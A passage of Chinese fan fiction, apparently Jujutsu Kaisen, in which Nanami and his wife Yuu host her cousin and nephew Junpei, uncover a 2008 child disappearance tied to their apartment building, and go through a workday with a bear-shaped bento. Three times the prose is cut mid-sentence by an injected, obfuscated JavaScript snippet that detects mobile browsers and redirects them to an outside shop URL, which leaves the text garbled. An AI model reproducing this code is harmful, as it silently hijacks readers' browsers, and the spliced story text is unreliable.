“七海海,你说表姐会喜欢巧克力味还是香草味?”她头也不回地问,“我两种都做了,但不知道哪个更好。” “根据普遍口味偏好,巧克力更受欢迎。”七海正在泡茶,动作标准得像在实验室,“但考虑到你表姐的年龄,香草可能更符合传统喜好。” “那就都摆出来。”悠直起身,拍了拍手上的面粉,“让表姐自己选——啊!” 她转身时裙摆勾到了料理台边缘的抽屉把手,整个人踉跄了一下。 七海眼疾手快地上前扶住她的腰。 “小心。” 悠站稳后,没有立刻离开他的手臂范围,反而转过身面对他,手搭在他肩上。 “谢谢七海海。”她笑着说,然后凑近闻了闻,“七海海身上有我的洗发水味道。” “……我们用的是同一款。” “所以是‘我们’的味道。”悠满意地点点头,“这样表姐一闻就知道我们感情很好了。” 七海看着她的笑脸,忽然想起一件事。 “悠。”他说,“你表姐的儿子顺平……我应该怎么称呼他?按辈分,他该叫你什么?” 悠眨了眨眼:“啊,这个。顺平应该叫我小姨——虽然我只比他大十一岁,但辈分摆在那里。凪表姐是我妈妈的亲姐姐的女儿,所以我们外婆是同一个。我是顺平妈妈的表妹,自然就是他小姨。” 她解释得很清楚,但七海注意到她在说“我妈妈”时,语气有微不可察的停顿。 “那你表姐呢?我应该怎么称呼?” “叫凪姐就好,或者吉野女士。”悠说,“表姐人很好,就是命苦。离婚好多年了,一个人带着顺平,工作换了好几个,家也搬了好几次。这次听说我们结婚搬来东京,特别说要来看看我——其实我知道,她是担心我。” “担心什么?” “担心我一个人,担心我过得不好,担心我……”悠的声音低了下去,“像我妈妈那样。” 七海没有追问。 关于悠的父母,她从未主动提过,他也从未问过。 每个人都有自己的过去,有些伤疤不需要揭开。 “但她看到你现在的样子,应该会放心。”七海说。 悠抬起头,对他露出笑容:“嗯,因为有七海海在嘛。” 烤箱在这时发出“叮”的一声。 蛋糕烤好了。 8. 吉野 九点五十八分,门铃准时响起。 七海去开门。门外站着一位短发女性,约莫三十七八岁,面容温和但眼角的细纹透出疲惫。她穿着简单的米色衬衫和深色长裤,手里提着纸袋和礼盒。她身旁是个瘦弱的少年,十三四岁的样子,黑发,眼神有些躲闪,背着一个洗得发白的双肩包。 “七海先生吗?”女性微微鞠躬,“我是吉野凪,这是犬子顺平。打扰了。” “请进。”七海侧身让开,“悠在准备茶点。” “小悠!”吉野凪一进门就看到从厨房探出头的悠,脸上立刻绽开笑容,“好久不见!” “凪姐!”悠小跑过来,两人轻轻拥抱。吉野凪比悠高半个头,拥抱时能看出她对表妹的保护姿态。 “这是顺平吧?”悠松开手,看向少年,“都长这么高了!上次见你的时候,你才这么一点——” 她比了个到她腰的高度。顺平有些腼腆地鞠躬:“悠……小姨好。” “哎呀,叫小姨感觉好老。”悠笑着说,“不过辈分就是辈分。快进来坐。七海海,茶好了吗?” “马上。” 客厅里,吉野凪和悠在沙发上坐下,顺平坐在母亲旁边,安静地打量着房间。七海端来茶盘,上面有茶壶、茶杯、两种蛋糕和精致的水果拼盘。 “这间公寓……”吉野凪环顾四周,表情复杂,“还是老样子。我上次来的时候,顺平刚上小学。时间过得真快。” “凪姐以前常来吗?”悠问,给表姐倒茶。 “嗯,小时候常来。”吉野凪接过茶杯,“外婆——我们共同的外婆——对我很好。后来我结婚搬出去,来得就少了。再后来外婆回乡下,这房子就一直空着……” 她顿了顿,看向悠:“你决定搬回来住,外婆在天之灵一定很高兴。” 悠的笑容柔软了一些:“嗯。而且现在不是一个人了。” 吉野凪的目光转向七海,温和但带着审视:“七海先生,谢谢你照顾小悠。这孩子从小就……比较特别,辛苦你了。” “不会辛苦。”七海说,“悠很好。” “你们是怎么认识的?” 悠和七海对视一眼,按之前商量好的说辞回答。 “朋友介绍相亲。”悠说,“见了三次面,觉得彼此合适,就决定结婚了。” “三次?”吉野凪有些惊讶,“这么快?” “时间长短不是衡量合适与否的标准。”七海平静地说,“重要的是价值观和生活目标的契合度。我们在核心问题上达成一致,所以做出了决定。” 这个回答理性得无可挑剔。吉野凪看了他几秒,然后笑了。 “七海先生很可靠呢。”她说,“小悠能找到你这样的伴侣,我就放心了。” 她打开带来的礼盒,里面是一套淡雅的白瓷餐具。 “新婚礼物。不是什么贵重东西,但希望你们用得上。” “很漂亮。”悠拿起一个盘子,“谢谢凪姐。” “还有这个。”吉野凪又从纸袋里拿出一个相框,“这是你小时候和外婆的合照,我那里有一张一样的。想着你现在住回来,应该会想摆出来。” 相框里的照片上,七八岁的悠被外婆搂着,两人都笑得很开心。背景正是这间客厅,连沙发都没换。 悠接过相框,手指轻轻抚过玻璃。她的眼神变得很柔软,七海在她眼中看到了思念。 “谢谢……”她轻声说。 顺平一直安静地坐着,小口吃着蛋糕。但他的目光时不时飘向房间的某个角落——电视柜旁边,那块“猫形污渍”的位置。 七海注意到了。少年在那个方向停留的目光过长,而且眉头微微蹙着,像是看到了什么让他困惑的东西。 “顺平。”七海开口,“蛋糕合口味吗?” 少年吓了一跳,手里的叉子差点掉下去。 “很、很好吃……”他小声说。 “顺平有点怕生。”吉野凪抱歉地说,“这孩子从小就内向,在学校也……不过他喜欢看电影,尤其是恐怖片。” “真的吗?”悠眼睛亮起来,“我也喜欢!我收藏了很多恐怖片蓝光碟,下次你可以来看。” 顺平抬起头,眼睛里有了微弱的光:“真的可以吗?” “当然。”悠笑着说,“随时欢迎。不过要经过你妈妈同意哦。” 吉野凪笑着点头:“可以啊,反正你们住得近。顺平也该多出来走走,别总闷在家里。” 聊天在轻松的气氛中进行。吉野凪说起自己的生活:离婚后独自抚养顺平,做过超市收银员、餐厅服务员,现在在便利店上夜班。收入不稳定,家也搬了好几次,最近才在东京落脚。 “生活不容易呢。”悠轻声说。 “大家都一样。”吉野凪笑了笑,“不过看到小悠现在这样,我很开心。七海先生,小悠就拜托你了。” “我会照顾好她。”七海说,语气郑重。 中午,悠准备了简单的午餐——咖喱饭和沙拉。四人围坐在矮桌旁,阳光透过窗户洒进来,照亮了食物和每个人的脸。 顺平吃饭时还是很安静,但比刚来时放松了一些。他会偶尔抬头看悠,眼神里带着少年对年长亲属的好奇和一点点崇拜。 饭后,悠和吉野凪在厨房洗碗,七海和顺平留在客厅。 “七海先生。”顺平忽然开口。 “嗯?” “这个房子……”少年犹豫着,“住起来……舒服吗?” 七海推了推眼镜:“为什么这么问?” “就是……”顺平低下头,手指绞着衣角,“感觉有点……奇怪。可能是我多心了。” “哪里奇怪?” 顺平抬起头,迅速瞥了一眼电视柜旁边的角落,然后又低下头。 “不知道。就是感觉……有人在看。”他的声音很小,“但明明没有人。” 七海沉默了几秒,然后说:“老房子有时候会有这种错觉。结构、光线、声音的反射……都可能造成特别的氛围感。” “是吗……”顺平的声音几乎听不见,“但是……” 他没有说下去。厨房里传来悠和吉野凪的笑声,对话被打断了。 下午两点,吉野凪准备离开。 “今天真是打扰了。”她在玄关穿鞋,“小悠,以后常联系。有空和七海先生来我们家吃饭,虽然地方小……” “一定会的。”悠抱了抱她,“凪姐也要保重身体,别太累了。” 顺平背好书包,对七海和悠鞠躬:“谢谢招待。” “随时欢迎再来。”悠摸了摸他的头,“下次来,小姨给你看恐怖片收藏。” 顺平点点头,脸上终于露出一点笑容。 送走客人后,悠关上门,靠在门板上舒了口气。 “怎么样?”她笑着问七海,“凪姐人很好吧?” “嗯。”七海点头,“她很关心你。” “顺平也是好孩子,就是太内向了。”悠走向客厅收拾茶具,“希望他在学校能交到朋友。” 七海帮她一起收拾。两人在厨房清洗杯碟,肩并肩站在水槽前。 “七海海。”悠忽然说。 “嗯?” “谢谢。”她侧头看他,“谢谢你今天这么耐心。我知道凪姐问了很多问题……” “这是应该的。”七海说,“而且你表姐的关心是合理的。你是她重要的家人。” 悠笑了笑,手肘轻轻碰了碰他。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154056|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过七海海有没有注意到,顺平好像有点怕你?” “有吗?” “有啊。”悠说,“他不太敢直视你。可能是因为七海海看起来太正经了。” 七海停下手中的动作,思考这个问题。 “我需要调整态度吗?” “不用啦。”悠摇摇头,“七海海就是七海海,这样就好。而且顺平不是讨厌你,只是……不习惯吧。他成长过程中缺乏男性榜样,可能不太知道怎么和成年男性相处。” 七海点点头,继续洗碗。他想起顺平问的那个问题,还有少年看向那个角落的眼神。 “悠。”他说。 “嗯?” “你表姐有没有提过这栋楼或者这个房子的事?以前的事?” 悠想了想:“没有特别提过。怎么了?” “没什么。”七海说,“只是作为新住户,了解房屋历史可能有帮助。” “也是。”悠擦干最后一个盘子,“不过我小时候住这里的时候,没什么特别的事发生。就是普通的公寓楼,普通的邻居,普通的生活。” 她说着,看向窗外。阳光很好,天空很蓝。 “现在也是。”她轻声说,“普通的生活,普通的幸福。” 七海看着她被阳光照亮的侧脸,没有接话。 下午剩下的时间,两人各自做自己的事。 悠在书房画新连载的分镜,七海在客厅看书——一本关于日本建筑史的书,他特意翻到昭和时期公寓建筑的章节。 下午四点多,门铃响了。 悠去开门,是五楼的坂本太太。 “七海太太,没打扰吧?”坂本太太笑着说,“上午看到有客人来,是亲戚吗?” “是我表姐和侄子。”悠说,“坂本太太请进。” “不用不用,我就说几句话。”坂本太太递过来一个塑料袋,“老家寄来的蔬菜,分你们一些。刚搬家肯定缺东西。” “太感谢了。”悠接过袋子,“坂本太太总是这么照顾我们。” “邻里之间应该的。”坂本太太笑呵呵地说,但她的目光往房间里瞟了一眼,“对了,上午来的那位……是你表姐?” “嗯,吉野凪,我妈妈的姐姐的女儿。” “哦哦,是表亲啊。”坂本太太点点头,“她是不是……以前也住这附近?我好像有点印象。” “表姐小时候常来玩,可能您见过她。” “可能吧。”坂本太太的表情有些微妙,“年纪大了,记性不好。不过……” 她压低声音:“你表姐有没有跟你说过这栋楼的事?以前的事?” 七海在客厅里,看似在看书,但其实在仔细听门口的对话。 “以前的事?”悠问,“您指什么?” “啊,没什么没什么。”坂本太太连忙摆手,“就是些老房子的闲话,不用在意。你们小两口好好过日子就行。” 她又寒暄了几句,然后离开了。 悠关上门,提着蔬菜走进厨房。 “坂本太太送来的。”她对七海说,“人真好。” “嗯。”七海应了一声,“她刚才问了什么?” “问我表姐有没有说过这栋楼以前的事。”悠把蔬菜放进冰箱,“不过没具体说是什么事。可能又是邻里八卦吧。” 七海合上书,站起身。 “我出去一下。”他说。 “去哪?” “超市。”七海说,“蔬菜有了,但肉类需要补充。另外,你需要新的画具吗?” “要炭笔和素描本。”悠说,“中型素描本,炭笔要2B和4B的。” “好。”七海走向玄关,“大概一小时回来。” “路上小心。” 9. 疑心 七海没有直接去超市。 他先去了公寓一楼的物业管理处。 管理员小林小姐正在整理文件,看到他进来,有些意外。 “七海先生?有什么事吗?” “关于外墙防水工程的分摊费用。”七海说,“我想确认一下具体的工程范围和报价明细。” “好的。”小林小姐找出文件,“这是工程公司的报价单……” 七海接过文件,仔细查看。 “另外,”他看似随意地问,“这栋楼的历史档案还有保存吗?我们想了解建筑结构的一些细节,方便后续装修。” “历史档案?”小林小姐想了想,“有一些基本资料。这栋楼是1985年建的,到现在三十多年了。业主换了好几轮,很多记录都不全了。” “我可以看看吗?” “可以是可以……”小林小姐有些犹豫,“但真的没什么重要内容。就是建筑图纸、验收报告之类的。” “足够了。”七海说,“我们想了解承重墙的位置。” 这个理由很合理。 小林小姐从柜子里找出一个文件夹,递给他。 “就是这些。不能带走,只能在这里看。” “好的,谢谢。” 七海翻开文件夹。 里面确实是些普通文件:建筑平面图、水电管线图、历年维修记录。 他的目光快速扫过,寻找任何异常信息。 翻到一半时,他停下了。 那是一份2008年的维修记录单。项目是“606室水管维修”,备注栏里有一行小字: “住户报告异常声响,经检查无问题。建议观察。” 异常声响。 七海记下这个细节,继续翻看。 后面还有几份类似的记录: 2005年,504室“门窗无故晃动”; 2010年,302室“墙壁渗水但无水源”; 2012年,701室“电器异常断电”。 时间跨度很大,涉及不同楼层、不同住户。看起来都是些零散的小问题,没什么关联性。 他翻到文件夹最后,那里夹着几页新闻剪报的复印件。 纸张已经泛黄,上面的日期是2008年6月。 标题是:“东京xx区儿童失踪事件警方持续搜索”。 内容很简短:一名7岁男童在社区公园玩耍时失踪,警方展开大规模搜索但未发现线索。男童名叫佐藤健太,住址是…… 阳光公寓,503室。 七海的手指在纸面上停顿。 503室,就在他们楼下。 失踪时间:2008年6月15日,下午三点至五点。 最后目击地点:社区公园,秋千附近。 七海抬起头,看向窗外。 从这里可以看到公园的一角,秋千在夕阳下投出长长的影子。 “七海先生?”小林小姐的声音让他回过神。 “看完了吗?” “差不多了。”七海合上文件夹,还给她,“谢谢。这些资料很有帮助。” “有帮助就好。”小林小姐接过文件夹,“不过都是过去的事了。那孩子……一直没找到。他父母后来也搬走了。” 她的声音里带着叹息。 七海点点头,没有再多问。 他离开物业管理处,走向超市。 下午的阳光很好,但七海觉得背后有些发冷。 从超市回来时,天色已经暗了。 七海提着购物袋打开门,发现客厅的灯亮着,但很安静。 他放下东西,走向书房。 悠趴在书桌上睡着了,脸枕在素描本上,炭笔还握在手里。 她画了一半的分镜散落在桌上,线条流畅但透着诡异——画面里是一个老旧的公寓房间,角落里蜷缩着一团阴影。 七海轻轻抽出她手里的炭笔,放在一旁。然后弯腰,小心地抱起她。 悠在梦中哼了一声,但没有醒,只是往他怀里缩了缩。 七海把她抱进卧室,放在床上,盖好被子。悠在睡梦中翻了个身,抱住枕头,继续沉睡。 七海站在床边看了她一会儿,然后关上台灯,走出卧室。 他回到书房,整理悠的画稿。 分镜稿大概完成了三分之一,故事似乎是关于一个女孩搬进老房子后,发现房子里有“另一个住客”。 画风细腻但氛围压抑。 在整理时,一张草图从本子里滑落。 七海捡起来,发现那是一张速写——画的是这间公寓的客厅。但画面里多了一样东西:在电视柜旁边的地板上,那块“猫形污渍”的位置,悠画上了一个蜷缩的小小人形。 人形没有脸,只有模糊的轮廓,但能看出是个孩子的姿态。 草图边缘有一行小字,是悠的笔迹: “它在这里很久了。它不坏,只是孤独。” 七海拿着这张纸,看了很久。 然后他轻轻将草图放回素描本,合上。 走进厨房,他开始准备晚餐。冰箱里有今天坂本太太送的蔬菜,超市买的鸡肉,还有昨天剩下的米饭。 他决定做亲子丼,简单又温暖。 切洋葱的时候,他想起顺平问的那个问题。 想起公园秋千上的手掌印。 想起文件夹里2008年的剪报。 还有悠草图上的那句话。 “它在这里很久了。它不坏,只是孤独。” 锅里的油热了,七海将鸡肉放进去,发出滋啦的声响。香味弥漫开来。 他把做好的亲子丼盛进两个碗里,摆上餐桌。 然后去卧室叫悠。 悠还睡着,头发散在枕头上,呼吸均匀。七海坐在床边,轻轻摇了摇她的肩膀。 “悠,晚餐准备好了。” “嗯……”悠迷迷糊糊地睁开眼睛,“七海海……我睡着了?” “嗯。起来吃饭吧。” 悠坐起身,揉了揉眼睛。 “我梦到了奇怪的东西。”她轻声说,“梦到一个小男孩,在公园里玩秋千。他一直在问‘有人吗?有人吗?’,但没有人回答他。” 七海的动作停顿了一瞬。 “只是个梦。”他说。 “我知道。”悠点点头,然后露出笑容,“不过七海海叫我吃饭的样子好温柔。我喜欢这样的七海海。” 她凑过来,在他脸上轻轻亲了一下。 “谢谢老公大人。” 七海的耳朵又红了。 “……去洗脸,吃饭要凉了。” 晚餐时,悠说起今天的创作进展。 “新连载的构思差不多确定了。”她一边吃饭一边说,“是关于老房子和记忆的故事。房子会记住住在里面的人,即使人离开了,记忆还是会留在那里。” “听起来很有深度。”七海说。 “是吗?”悠眼睛亮起来,“我还担心太沉重了。不过编辑说现在读者喜欢这种带点恐怖又带点温情的故事。” “恐怖和温情并不矛盾。”七海说,“很多时候,最恐怖的东西,都源于最温柔的情感。” 悠看着他,眼神有些惊讶。 “七海海说得真好。”她轻声说,“有时候我觉得,你比我更懂这些。” 七海没有接话。 他想起那些死去的同伴,想起咒灵往往由人类的负面情感孕育而生。 最深的诅咒,往往源于最深的爱或最深的恨。 爱会扭曲,会变质,会成为束缚。 也会成为拯救。 饭后,两人一起洗碗。 悠负责洗,七海负责擦干和收纳。厨房的窗户映出两人的倒影,靠得很近。 “七海海。”悠忽然说。 “嗯?” “如果……我是说如果。”她的声音很轻,“这间房子里真的有什么……东西。你会怎么做?” 七海停下手中的动作,看向她。 “为什么这么问?” “不知道。”悠摇摇头,目光落在水槽的泡沫上,“就是有时候感觉……这房子好像不只是房子。它好像有自己的生命,自己的记忆。” 她抬起头,黑色眼眸在厨房灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154057|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光下像深潭。 “我知道这听起来很荒谬。房子怎么可能有生命?但我就是有这种感觉。从搬进来的第一天就有。” “感觉没有对错之分。”他说,“如果你有这样的感觉,我们可以想办法改善居住环境。比如重新装修,改变布局,或者……” “或者什么?” “或者找出感觉的来源。”七海说,“有时候,恐惧源于未知。了解了真相,反而能安心。” 悠沉默了几秒,然后点点头。 “也许吧。”她说,“不过现在这样也挺好的。有七海海在,我什么都不怕。” 她说完,继续洗碗。七海看着她的侧脸,然后继续擦碗。 晚上十点,两人躺在床上。 悠侧躺着,面对七海的方向。她的手伸过来,轻轻握着他的手。 “七海海。” “嗯?” “今天谢谢你。”她的声音在黑暗里很轻,“谢谢你照顾表姐和顺平,谢谢你做晚餐,谢谢你……所有的一切。” “这是我应该做的。” “我知道。”悠说,“但还是很感谢。” 她挪近了一些,额头抵着他的肩膀。 “七海海。” “嗯。” “你会不会觉得……我有点奇怪?” “为什么这么问?” “因为我会画恐怖漫画,会做奇怪的梦,会说房子有生命……”悠的声音越来越小,“普通人不会这样吧?” 七海在黑暗中沉默了几秒,然后翻身面对她,手臂轻轻环住她。 “每个人都有自己的特别之处。”他说,“你的特别不是缺点,而是你的一部分。我喜欢这样的你。” 悠的身体微微僵了一下,然后慢慢放松。她往他怀里缩了缩,脸埋在他胸口。 “七海海……” “嗯。” “你真好。” 七海没有回答,只是轻轻抚摸着她的头发。悠的呼吸渐渐变得均匀,像是要睡着了。 但就在七海也准备闭上眼睛时,悠忽然又开口了。 “七海海。” “嗯?” “如果有一天,你发现我……不是你以为的样子。”她的声音很轻,轻得像叹息,“你还会喜欢我吗?” 这个问题在黑暗中显得格外清晰。七海的手停顿了一下,然后继续抚摸她的头发。 “你永远是你。”他说,“这就够了。” 悠没有再说话。几分钟后,她的呼吸完全平稳下来,睡着了。 七海却醒着。 他听着她的呼吸声,感受着她身体的温度和重量,想着她刚才的问题。 “如果有一天,你发现我……不是你以为的样子。” 其实他早就知道,悠有秘密。她看东西的眼神有时候太过专注,她问的问题有时候太过具体,她对这间房子的感觉有时候太过敏锐。 但谁没有秘密呢? 他也有。他是前咒术师,他能看见常人看不见的东西,他曾经在另一个世界生活过。 也许有一天,他们会互相坦白。 但不是现在。 现在,他们只是普通的夫妻,住在普通的公寓里,过着普通的生活。 窗外的月光透过窗帘的缝隙洒进来,在地板上切出一道细细的光带。 七海闭上眼睛,准备入睡。 但就在这时,他听见了。 很轻很轻的声音,从客厅的方向传来。 像是……孩子的笑声。 很短暂,只有一声。 然后消失了。 七海睁开眼睛,看向卧室门的方向。门关着,客厅一片漆黑。 他静静听着。 没有声音。 只有悠平稳的呼吸,和他自己的心跳。 也许只是错觉。 或者风声。 或者…… 他闭上眼睛,把悠抱得更紧一些。 无论是什么,都不能打扰他现在的生活。 这是他选择的,也是他要守护的。 普通的、平静的、幸福的生活。 10. 上班族 婚后第二个周四的傍晚,吉野顺平在自己房间的书桌前翻开了那本名为《隙间物语》的漫画单行本。 作者栏印着“豆豆”二字——这是母亲吉野风三天前从新婚的悠小姨家拜访回来后,顺口提起的笔名。 “你悠小姨现在是个漫画家,笔名挺可爱,叫‘豆豆’。不过画的好像是那种……你会感兴趣的、有点吓人的故事。” 顺平花了点零花钱,在二手书店找到了这本两个月前出版的短篇集。 开篇《邻人》这一章就抓住了他。不是那种直白的血腥恐怖,而是更渗透式的寒意——独居上班族发现隔壁空房每晚传来切菜声,所有调查都指向“正常”,直到他在自家下水道发现不属于自己的新鲜蔬菜碎屑。 最后一格,主角透过猫眼看向隔壁,猫眼另一侧,一只布满血丝的眼睛正静静回望。 顺平看得背脊发凉,却又忍不住一页页翻下去。 那种从日常最熟悉处缓缓裂开的“不对劲”,精准地戳中了他内心某个模糊而敏感的角落。 就像……就像上周日在悠小姨的新家,他视线总是不由自主飘向客厅电视柜旁那片空白墙壁时的感觉。 作者后记里,豆豆写道:“大多数灵感来自‘倾听’。倾听墙壁在夜深时的叹息,倾听老家具木材收缩的呜咽,倾听那些卡在时间缝隙里的、微弱的回响。它们大多并无恶意,仅仅是‘存在着’,便已足够。” 合上书,顺平望向窗外沉下的暮色。 悠小姨——现在该叫七海悠小姨了——那张总是带着温柔笑意的脸,和这冷彻骨髓的故事之间存在着惊人的反差。 这种反差让十四岁的少年对这位刚结婚的年轻小姨产生了强烈的好奇,以及一丝混杂着敬畏的崇拜。 “顺平,别看得太晚。”门外传来母亲疲惫的声音。 “知道了,妈。”顺平小心地将漫画书收进抽屉。 他决定明天周五放学后,如果妈妈要去打工,他就去悠小姨的新家写作业。 妈妈说悠小姨很欢迎他去,而且“七海姨父看起来虽然严肃,但人很好”。 周五早晨六点四十分,606室。 七海建人已经洗漱完毕,穿着熨烫平整的浅灰色衬衫和深色西装裤,正在客厅用吸尘器做每日例行的地面清洁。 吸尘器的嗡鸣声规律而持续,这是他维持“有效率生活”的一部分。 厨房里传来不同的声响——冰箱门开合、菜刀与砧板接触的轻快节奏、油锅轻微的滋啦声。 七海做完清洁,将吸尘器收回储物间时,瞥见悠系着那条印有小蘑菇图案的围裙,正背对着他,在料理台前专注地忙碌着。 清晨的光线从厨房窗户斜斜照入,在她身上镀了层柔和的边缘。 “便当马上就好哦,七海海先去整理公文包吧!”悠头也不回地说,声音里带着晨起特有的柔软,“不准偷看!这是神秘惊喜!” 七海推了推眼镜。 事实上,他对“惊喜”持保留态度——尤其是涉及食物的惊喜。 但看着悠微微晃动的背影和显然很投入的架势,他没有发表评论,只是“嗯”了一声,转身去检查今天需要带走的文件。 六点五十分,他提着公文包回到客厅时,悠已经将一个深蓝色的便当袋放在了餐桌上。 袋子旁边是她今早起早做好的早餐:味噌汤、烤鲑鱼、纳豆和白米饭,整齐地摆在餐桌上。 “便当装好啦!”悠解下围裙,眼睛亮晶晶地看着他,“记住哦,中午才能打开!这是妻子爱心便当的仪式感!” “……知道了。”七海在餐桌前坐下。 新婚第二周,他仍在适应这种被细致照顾的日常。 以前他更多时候是吃便利店便当或面包。 而现在,每天早晨都有热腾腾的早饭,还有需要“中午才能打开”的便当。 “今天也会加班吗?”悠在他对面坐下,托着腮问。 “项目阶段,大概率会。”七海喝了口味噌汤,温度刚好。 他尽量让声音听起来平静,但心里那句“加班就是狗屎”已经自动浮了上来。 “那要记得给我发邮件哦。”悠眨了眨眼,“我会等你回来吃晚饭的,不管多晚。” 七海抬起眼,看着对面那双纯粹的黑眼睛。 那里面的关切太直接,让他有些无措,耳朵染上红晕。 他低下头,继续吃饭。 “……不用等太晚。你先吃。” “不要,我要等七海海一起。”悠的声音很轻,但很坚定。 七海没再反驳。 他快速解决了早餐,起身收拾完碗筷时,悠已经拿起了便当袋等在玄关。 “给!”她把袋子递过来,然后很自然地踮起脚,在他脸颊上亲了一下,“今天也要加油!路上小心哦!” 柔软微凉的触感一触即分。 七海的身体僵了半秒,耳根在晨光下隐隐泛红。 他接过便当袋,手指碰到她的指尖。 “……我出门了。” “一路平安!” 门在身后关上。 七海站在走廊上,深吸了一口气。便当袋提在手里,比平时便利店买的要重一些,里面似乎还装了别的东西。 他低头看了一眼,袋口被仔细地束紧,完全看不到里面。 神秘惊喜。 七海推了推眼镜,走向电梯。心里那股对加班的烦躁,似乎被这个小小的、束紧的袋子压下去了一点。 八点四十五分,丸之内的写字楼办公室。 七海刚在自己的工位坐下,同期入社的山田就凑了过来:“哦呀,七海君,今天也是夫人亲手做的便当吗?”他的目光落在那个深蓝色袋子上。 “嗯。”七海简短地应了一声,将袋子小心地放在办公桌下方的柜子里。 “真羡慕啊,新婚就是不一样。”山田笑着说,“我老婆现在宁愿多睡十分钟也不肯给我做便当了。” 七海没有接话,只是打开了电脑。 晨会从九点开到十点半,课长宣布了本周需要“阶段性冲刺”的消息,暗示周末也可能需要有人值班。 会议室里的空气肉眼可见地沉重起来。 七海面无表情地记录着要点,在心里用丹麦语骂了句脏话。 加班就是狗屎,尤其是新婚第二周还要加班,更是狗屎中的狗屎。 午休铃响时,项目组的同事大多面色疲惫地起身去便利店或食堂。 七海等人都走得差不多了,才从柜子里拿出那个便当袋。 解开束口的带子时,他的动作比平时慢了一些。袋子里果然不只是便当盒——还有一个洗干净的苹果,一小包独立包装的薄荷糖,以及一张对折的浅蓝色便签纸。 七海先拿起便当盒。 黑色的双层漆器盒子,质感很好,是他们新婚购物时悠坚持要买的“便当仪式感必备品”。 打开盖子,他沉默了三秒。 上层的配菜格里,煎得金黄完美的玉子烧被切成整齐的厚片,旁边是翠绿的焯水西兰花和小番茄,以及几块肥美的烤鲑鱼。 下层的米饭格……米饭被仔细地塑形成了一只圆滚滚的小熊形状,小熊的眼睛和鼻子是用海苔片剪的,嘴巴是一小条腌梅子肉,脸颊处还点缀了两颗小小的黑芝麻。 小熊的怀里,甚至还用胡萝卜片刻了一个歪歪扭扭的“七”字。 七海盯着那只小熊饭团看了足足十秒钟。 耳根的温度以他能感知到的速度开始上升。 这太……幼稚了。 他下意识地推了推眼镜,抬头迅速环顾四周——还好,大部分同事已经离开,最近的工位也空着。 然后他才拿起那张浅蓝色便签纸。上面是悠圆滚滚的字迹: “给世界上最靠谱的七海海! 工作辛苦啦!(??ω??) 小熊饭团要全部吃掉哦! ——永远支持你的悠” 右下角还画了一个小小的、笑脸形状的蘑菇——是她围裙上的图案。 七海面无表情地将便签纸折好,准备收进西装内袋。 但就在这时,山田端着便利店便当回来了:“七海君,不去食堂吗……哇哦!” 他的视线落在了打开的便当盒上。 七海“啪”地一声合上了盖子。 “……吃完了?”山田促狭地笑着,“别藏了,我都看到了!小熊饭团!没想到七海君夫人这么有童心啊!真可爱!” “只是普通的便当。”七海的声音平板无波,但耳廓的红已经蔓延到了脖颈。 “普通便当可不会做小熊造型,还带爱心便签。”山田哈哈大笑,拍了拍他的肩,“新婚真好啊!说起来,下次部门聚餐,带夫人一起来嘛?大家都很好奇能拿下我们‘理性化身’七海君的到底是怎样一位女性呢。” “她比较怕生。”七海推了推眼镜,避开了这个话题。 他打开便当盒,用筷子面无表情地将小熊饭团“解体”,混着玉子烧和鲑鱼一起吃下去。 味道……很好。 米饭软硬适中,玉子烧微甜鲜嫩,烤鲑鱼带着恰到好处的柠檬清香。 山田识趣地没再调侃,转而聊起了工作。 七海安静地吃着,将便当吃得干干净净,连那颗苹果也在下午工作间隙啃完了。 薄荷糖他留在了口袋里——或许加班时能用上。 那张便签纸,被他仔细折好,放进了皮夹的夹层里。 下午六点,临时会议果然延长了。 七海看了眼手表,在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154058|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里又骂了一句,然后拿出手机给悠发了邮件:“会议延长,归家时间预计晚于八点。不必等我,先用餐。” 六点五十分,邮件提示音响起。悠的回复只有简短一句:“知道了。我会等你的。路上小心。(?????)” 七海盯着那个颜文字看了两秒,关掉了手机屏幕。 会议终于结束。 课长再次暗示明天可能需要加班时,七海毫无波澜的说:“明天上午我会处理完必要的数据核对,下午有私人安排。” 走出办公楼时,晚风带着初夏的暖意。 电车依然拥挤,但七海抓着吊环,想起早上那个脸颊吻,中午的小熊饭团,和邮件里的颜文字,忽然觉得这段路程也没那么难以忍受了。 八点二十分,他站在门前。 钥匙转动的声音刚响起,门就从里面打开了。 “欢迎回来!”悠站在门口,暖黄的灯光从她身后倾泻而出。 悠脸上是毫不掩饰的开心笑容。 七海还没来得及说“我回来了”,悠已经上前一步,张开手臂抱住了他。 那是一个很用力的拥抱。 她的手臂环住他的腰,脸贴在他胸口,能感觉到她身上暖烘烘的温度。 七海的身体僵了一瞬,然后慢慢放松下来。 他一手还提着公文包,另一只手轻轻落在她背上。 